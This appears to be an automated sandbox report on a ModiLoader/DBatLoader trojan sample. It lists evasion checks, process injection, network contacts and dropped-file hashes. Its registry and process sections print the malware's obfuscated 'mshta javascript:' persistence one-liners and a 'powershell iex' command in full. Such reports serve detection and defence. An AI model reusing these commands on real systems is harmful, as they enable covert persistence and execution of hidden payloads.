Malware Analysis Report

2024-08-06 14:35

Sample ID 240530-emt8fadh2x
Target 82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118
SHA256 1cc2b271332ad8f952216047ae755c9e93f85788074f343f9be11c0be6059e3f
Tags
modiloader evasion persistence trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

1cc2b271332ad8f952216047ae755c9e93f85788074f343f9be11c0be6059e3f

Threat Level: Known bad

The file 82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

modiloader evasion persistence trojan

ModiLoader, DBatLoader

Process spawned unexpected child process

Checks for common network interception software

Looks for VirtualBox Guest Additions in registry

Looks for VirtualBox drivers on disk

ModiLoader Second Stage

Looks for VMWare Tools registry key

Drops startup file

Checks BIOS information in registry

Deletes itself

Checks computer location settings

Adds Run key to start application

Maps connected drives based on registry

Suspicious use of SetThreadContext

Drops file in System32 directory

Enumerates physical storage devices

Unsigned PE

Modifies registry class

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Suspicious behavior: MapViewOfSection

Modifies Internet Explorer settings

Suspicious use of AdjustPrivilegeToken

Suspicious use of SetWindowsHookEx

MITRE ATT&CK Matrix V13

Analysis: static1

Detonation Overview

Reported

2024-05-30 04:03

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-30 04:03

Reported

2024-05-30 04:06

Platform

win7-20240508-en

Max time kernel

150s

Max time network

151s

Command Line

"C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

Checks for common network interception software

evasion

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions C:\Windows\SysWOW64\regsvr32.exe N/A

Looks for VirtualBox drivers on disk

evasion
Description Indicator Process Target
File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys C:\Windows\SysWOW64\regsvr32.exe N/A

ModiLoader Second Stage

Description Indicator Process Target
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Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools C:\Windows\SysWOW64\regsvr32.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c25a55.lnk C:\Windows\SysWOW64\regsvr32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:rvFuKt1c=\"TNNQloGUT7\";Rx0=new%20ActiveXObject(\"WScript.Shell\");KGqKCkF65=\"4W\";muD0c=Rx0.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\hxuejrj\\\\ggldjbnfg\");Iyk9LJnE=\"yGVhXaKD\";eval(muD0c);OvaNf83Cub=\"NbTS\";" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:GNqaTQ69=\"m7lP3f\";Yr7=new%20ActiveXObject(\"WScript.Shell\");eTP9XCC=\"carZmt8\";pDt4N6=Yr7.RegRead(\"HKCU\\\\software\\\\hxuejrj\\\\ggldjbnfg\");pMN2x9leb=\"ZDC\";eval(pDt4N6);yw3EiEV=\"qQKK11gSCM\";" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\cac63c\\bdcf8f.lnk\"" C:\Windows\SysWOW64\regsvr32.exe N/A

Maps connected drives based on registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 C:\Windows\SysWOW64\regsvr32.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\International C:\Windows\SysWOW64\regsvr32.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000_CLASSES\6921c0 C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000_CLASSES\6921c0\shell C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000_CLASSES\6921c0\shell\open C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000_CLASSES\6921c0\shell\open\command C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000_CLASSES\6921c0\shell\open\command\ = "mshta \"javascript:IURWH60D=\"Jjyj92LOg\";CW5=new ActiveXObject(\"WScript.Shell\");jopgfV5fb6=\"JoQta\";A8zp6L=CW5.RegRead(\"HKCU\\\\software\\\\hxuejrj\\\\ggldjbnfg\");LsaYmMLy3=\"EheVfrno\";eval(A8zp6L);wDmcXc5A8=\"cXS7HIWhz\";\"" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000_CLASSES\.26a6f49 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000_CLASSES\.26a6f49\ = "6921c0" C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
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N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 848 wrote to memory of 2092 N/A C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe
PID 848 wrote to memory of 2092 N/A C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe
PID 848 wrote to memory of 2092 N/A C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe
PID 848 wrote to memory of 2092 N/A C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe
PID 848 wrote to memory of 2092 N/A C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe
PID 848 wrote to memory of 2092 N/A C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe
PID 848 wrote to memory of 2092 N/A C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe
PID 848 wrote to memory of 2092 N/A C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe
PID 848 wrote to memory of 2092 N/A C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe
PID 848 wrote to memory of 2092 N/A C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe
PID 848 wrote to memory of 2092 N/A C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe
PID 2700 wrote to memory of 2632 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2700 wrote to memory of 2632 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2700 wrote to memory of 2632 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2700 wrote to memory of 2632 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2632 wrote to memory of 1580 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2632 wrote to memory of 1580 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2632 wrote to memory of 1580 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2632 wrote to memory of 1580 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2632 wrote to memory of 1580 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2632 wrote to memory of 1580 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2632 wrote to memory of 1580 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2632 wrote to memory of 1580 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1580 wrote to memory of 1244 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1580 wrote to memory of 1244 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1580 wrote to memory of 1244 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1580 wrote to memory of 1244 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1580 wrote to memory of 1244 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1580 wrote to memory of 1244 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1580 wrote to memory of 1244 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1580 wrote to memory of 1244 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe

Processes

C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:wvn0iuwcy="njV3s";HI88=new%20ActiveXObject("WScript.Shell");TlBWV6y="wXp";janl54=HI88.RegRead("HKLM\\software\\Wow6432Node\\YVB2Fg10\\JWpSCpaar");JTPfq7kFB="QO5fup9H";eval(janl54);UNtmo0auG1="NRlEa8HQZ";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:zezac

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

Network

Country Destination Domain Proto
US 35.48.44.69:80 tcp
US 206.187.210.224:80 tcp
IE 77.107.222.242:80 tcp
US 134.71.12.240:80 tcp
RU 46.242.31.236:80 tcp
US 26.194.106.160:80 tcp
JP 125.195.45.154:80 tcp
US 67.67.191.9:80 tcp
US 35.250.117.199:80 tcp
IN 117.255.61.47:80 tcp
TR 78.170.151.164:80 tcp
CN 117.66.238.210:80 tcp
US 152.6.190.222:80 tcp
JP 114.181.32.223:80 tcp
MA 102.102.132.114:80 tcp
EE 185.118.161.110:80 tcp
JP 60.68.207.222:80 tcp
US 63.210.219.18:80 tcp
US 63.139.134.36:80 tcp
RU 109.194.159.61:8080 tcp
CN 180.99.227.166:8080 tcp
CA 153.61.109.107:80 tcp
US 97.157.13.44:80 tcp
BR 189.118.158.193:443 tcp
DZ 154.245.10.148:80 tcp
KH 124.108.52.120:80 tcp
US 13.189.128.25:80 tcp
US 216.199.25.130:80 tcp
US 108.57.27.223:80 tcp
PL 51.75.50.200:80 tcp
BA 5.133.154.158:80 tcp
US 56.234.223.145:80 tcp
AR 190.221.81.102:80 tcp
US 6.149.186.203:8080 tcp
US 98.67.93.249:80 tcp
NL 8.247.211.153:80 tcp
EE 95.153.54.195:80 tcp
CN 223.82.209.33:80 tcp
JP 180.14.93.213:80 tcp
US 7.144.90.128:80 tcp
US 75.36.171.170:80 tcp
US 9.242.67.30:80 tcp
CN 211.102.136.210:80 tcp
DK 94.144.83.149:80 tcp
US 8.19.159.167:80 tcp
SN 154.124.48.182:80 tcp
US 32.146.45.77:80 tcp
HK 47.56.41.148:80 tcp
RU 92.243.119.3:80 tcp
US 98.188.51.79:80 tcp
JP 42.150.136.124:80 tcp
VN 171.245.26.190:80 tcp
IT 92.246.48.98:80 tcp
US 142.254.122.252:8080 tcp
KR 175.122.252.245:80 tcp
JP 133.120.37.123:80 tcp
KR 211.62.59.93:80 tcp
US 214.88.216.146:80 tcp
KR 1.100.59.232:80 tcp
US 173.135.200.187:80 tcp
JP 157.78.175.15:80 tcp
JP 162.133.133.32:80 tcp
SG 8.173.28.255:443 tcp
US 6.15.233.102:80 tcp
US 164.145.255.114:80 tcp
US 32.202.130.162:80 tcp
IT 77.39.169.118:80 tcp
AU 220.233.148.117:80 tcp
CN 119.190.210.235:80 tcp
US 135.131.40.41:80 tcp
US 30.144.83.52:80 tcp
JP 219.47.107.209:80 tcp
US 75.123.15.159:80 tcp
US 64.122.179.20:80 tcp
US 173.68.39.30:80 tcp
IE 78.135.132.14:80 tcp
US 160.227.74.135:80 tcp
CN 42.129.149.73:80 tcp
CN 101.89.19.18:80 tcp
CN 119.250.159.243:80 tcp
JP 180.40.140.119:80 tcp
AU 1.148.97.143:80 tcp
GR 147.27.154.143:80 tcp
CN 101.228.143.21:80 tcp
SG 153.20.168.18:80 tcp
GR 178.146.99.174:8080 tcp
US 34.218.183.198:80 tcp
US 131.54.100.112:80 tcp
US 192.224.130.58:80 tcp
FR 5.196.60.210:80 tcp
IE 57.137.116.8:80 tcp
TW 122.125.176.209:80 tcp
US 173.118.187.151:8080 tcp
DK 5.186.114.141:80 tcp
US 207.206.172.111:80 tcp
US 74.182.248.203:80 tcp
CN 121.198.67.244:8080 tcp
AU 144.132.220.206:80 tcp
US 199.169.204.134:80 tcp
CN 59.72.188.129:443 tcp
N/A 127.126.79.32:80 tcp
US 128.90.204.54:80 tcp
CN 124.221.52.211:80 tcp
BR 187.26.142.93:80 tcp
US 165.17.119.133:80 tcp
KR 112.159.176.171:80 tcp
US 174.146.207.80:80 tcp
BR 177.76.152.142:80 tcp
FR 193.52.184.248:80 tcp
JP 150.72.86.51:8080 tcp
GB 31.100.115.170:80 tcp
US 28.169.132.168:80 tcp
RU 46.151.144.205:80 tcp
BR 179.65.54.218:8080 tcp
CN 113.139.48.179:80 tcp
NL 77.172.59.131:80 tcp
US 135.50.119.107:80 tcp
US 34.193.146.206:80 tcp
GB 82.23.12.109:8080 tcp
SI 185.72.30.122:80 tcp
IN 27.5.208.181:80 tcp
SA 37.217.122.224:80 tcp
NL 20.4.232.176:80 tcp
NL 212.61.58.85:80 tcp
US 166.10.67.208:80 tcp
ES 81.43.128.86:80 tcp
CN 182.148.190.82:443 tcp
US 24.193.40.49:80 tcp
CN 119.125.197.245:80 tcp
DE 53.133.211.213:80 tcp
US 137.29.107.230:80 tcp
SG 43.44.94.79:80 tcp
CN 58.202.229.99:80 tcp
GB 45.152.3.128:443 tcp
GB 193.201.94.185:80 tcp
CN 118.247.158.191:80 tcp
US 204.110.111.113:80 tcp
US 18.188.158.244:80 tcp
IT 2.117.103.40:80 tcp
US 56.8.136.170:80 tcp
US 75.45.140.127:80 tcp
AU 144.79.242.12:80 tcp
US 17.199.219.209:80 tcp

Files

memory/2092-3-0x0000000000400000-0x0000000000439000-memory.dmp

memory/2092-7-0x0000000000400000-0x0000000000439000-memory.dmp

memory/2092-8-0x0000000000400000-0x0000000000439000-memory.dmp

memory/2092-9-0x0000000001DA0000-0x0000000001E74000-memory.dmp

memory/2092-11-0x0000000001DA0000-0x0000000001E74000-memory.dmp

memory/2092-10-0x0000000001DA0000-0x0000000001E74000-memory.dmp

memory/2092-12-0x0000000001DA0000-0x0000000001E74000-memory.dmp

memory/2092-13-0x0000000001DA0000-0x0000000001E74000-memory.dmp

memory/2092-14-0x0000000001DA0000-0x0000000001E74000-memory.dmp

memory/2092-15-0x0000000001DA0000-0x0000000001E74000-memory.dmp

memory/2632-24-0x0000000006390000-0x0000000006464000-memory.dmp

memory/1580-26-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1580-28-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1580-33-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1580-30-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1580-35-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2632-29-0x0000000006390000-0x0000000006464000-memory.dmp

memory/1580-31-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1580-32-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1580-44-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1580-34-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1580-58-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1580-42-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1580-60-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1580-69-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1580-62-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1580-61-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1580-59-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1580-57-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1580-52-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1580-51-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1580-50-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1580-48-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1580-47-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1580-46-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1580-45-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1580-43-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1580-41-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1580-40-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1580-39-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1580-38-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1580-37-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1580-36-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1244-70-0x0000000000150000-0x000000000028E000-memory.dmp

memory/1244-85-0x0000000000150000-0x000000000028E000-memory.dmp

memory/1244-84-0x0000000000150000-0x000000000028E000-memory.dmp

memory/1244-83-0x0000000000150000-0x000000000028E000-memory.dmp

memory/1244-82-0x0000000000150000-0x000000000028E000-memory.dmp

memory/1244-81-0x0000000000150000-0x000000000028E000-memory.dmp

memory/1244-80-0x0000000000150000-0x000000000028E000-memory.dmp

memory/1244-79-0x0000000000150000-0x000000000028E000-memory.dmp

memory/1244-78-0x0000000000150000-0x000000000028E000-memory.dmp

memory/1244-77-0x0000000000150000-0x000000000028E000-memory.dmp

memory/1244-76-0x0000000000150000-0x000000000028E000-memory.dmp

memory/1244-75-0x0000000000150000-0x000000000028E000-memory.dmp

memory/1244-74-0x0000000000150000-0x000000000028E000-memory.dmp

memory/1244-73-0x0000000000150000-0x000000000028E000-memory.dmp

memory/1244-72-0x0000000000150000-0x000000000028E000-memory.dmp

memory/1244-71-0x0000000000150000-0x000000000028E000-memory.dmp

C:\Users\Admin\AppData\Local\cac63c\cbd015.bat

MD5 c8a437d8dffa3b0e7b3b6e869cf95016
SHA1 4c3ad562e64a3f511d632859d9c5090be4f44750
SHA256 7f3ca854a12deb01ad01e47e55eb09558f1a72f1c066410d459703746c660a39
SHA512 8276987a0546d8f288cabb4dbcd54ed7332182b0cb982e997a5806e731bbfc8e60deea297db5c69f1884b77baf4ca0b55f738136187926b8bd4ba8196c34f076

C:\Users\Admin\AppData\Roaming\ca6143\7c2c65.26a6f49

MD5 7e428c12ac443d9928b837aae818f690
SHA1 d97b20652c0ebb52586d4d740ebd612eb97f5112
SHA256 7de1ebe4f303c0c750de2c5d263b3ab419cf990fcae7caf11d30141f448e2c6c
SHA512 0725c604bdd3ac00b6c80ca18cd3819931ec9a6480b6796db018bc090e5bcb8860cd39b5cfc7e8188b99156bb97cd4e26bdb094738b1a697c2b0be077853c33c

C:\Users\Admin\AppData\Local\cac63c\bdcf8f.lnk

MD5 abb7a19f0d31695ecee095fd727ba2f5
SHA1 88a0f77e76c63bf91b68a38bf22539b846bc1ba8
SHA256 7ffd85aee969727b169de1e6db594252c6ae09f37bb4e83c0fa1ec829e86291f
SHA512 4cb996ab763a589575b1dd993fa0872f59a442e6112854c431e0af97431d0ef2f6703f924a7a7b8f74998b6d78b236f42cd348c8832280c1a2f30f64d5e0f443

C:\Users\Admin\AppData\Local\cac63c\b9feef.26a6f49

MD5 10b218672bc56a6018f3f91b0cd2f52f
SHA1 57a6c7bbec47e28f7c169b1cfd2a99973e871bf9
SHA256 6def4d33179e5cc9bf35fbb298392a68235a53d00ccaa7778c6abf8ffe1622bf
SHA512 678f508985549aaaceaaf78c29c479230239295f82b59f14f84d61795dd5f3fa056c848ed4133478910e7f956c68601ca2350cd62cfc4fa9ad606ee9ad4e35ce

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c25a55.lnk

MD5 3385f734af59454763151a8b593e8154
SHA1 0c0544ad07f0b3a75e4248a16dbbdf3551c01cc9
SHA256 e3eb47ee493b161a809f55a534db3b6b9d0cd29f32b9e35a06f48458a76a0d86
SHA512 34b63b223c0fd463dcb825317f677266fe78c99c04a6e3999653b2ae4436f0f56a4e169c789e77d823dce6ac6c741e948e45962a405aeb716d3f395fb9526ba4

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-30 04:03

Reported

2024-05-30 04:06

Platform

win10v2004-20240426-en

Max time kernel

143s

Max time network

93s

Command Line

"C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation C:\Windows\system32\mshta.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3780 wrote to memory of 4372 N/A C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe
PID 3780 wrote to memory of 4372 N/A C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe
PID 3780 wrote to memory of 4372 N/A C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe
PID 3780 wrote to memory of 4372 N/A C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe
PID 3780 wrote to memory of 4372 N/A C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe
PID 3780 wrote to memory of 4372 N/A C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe
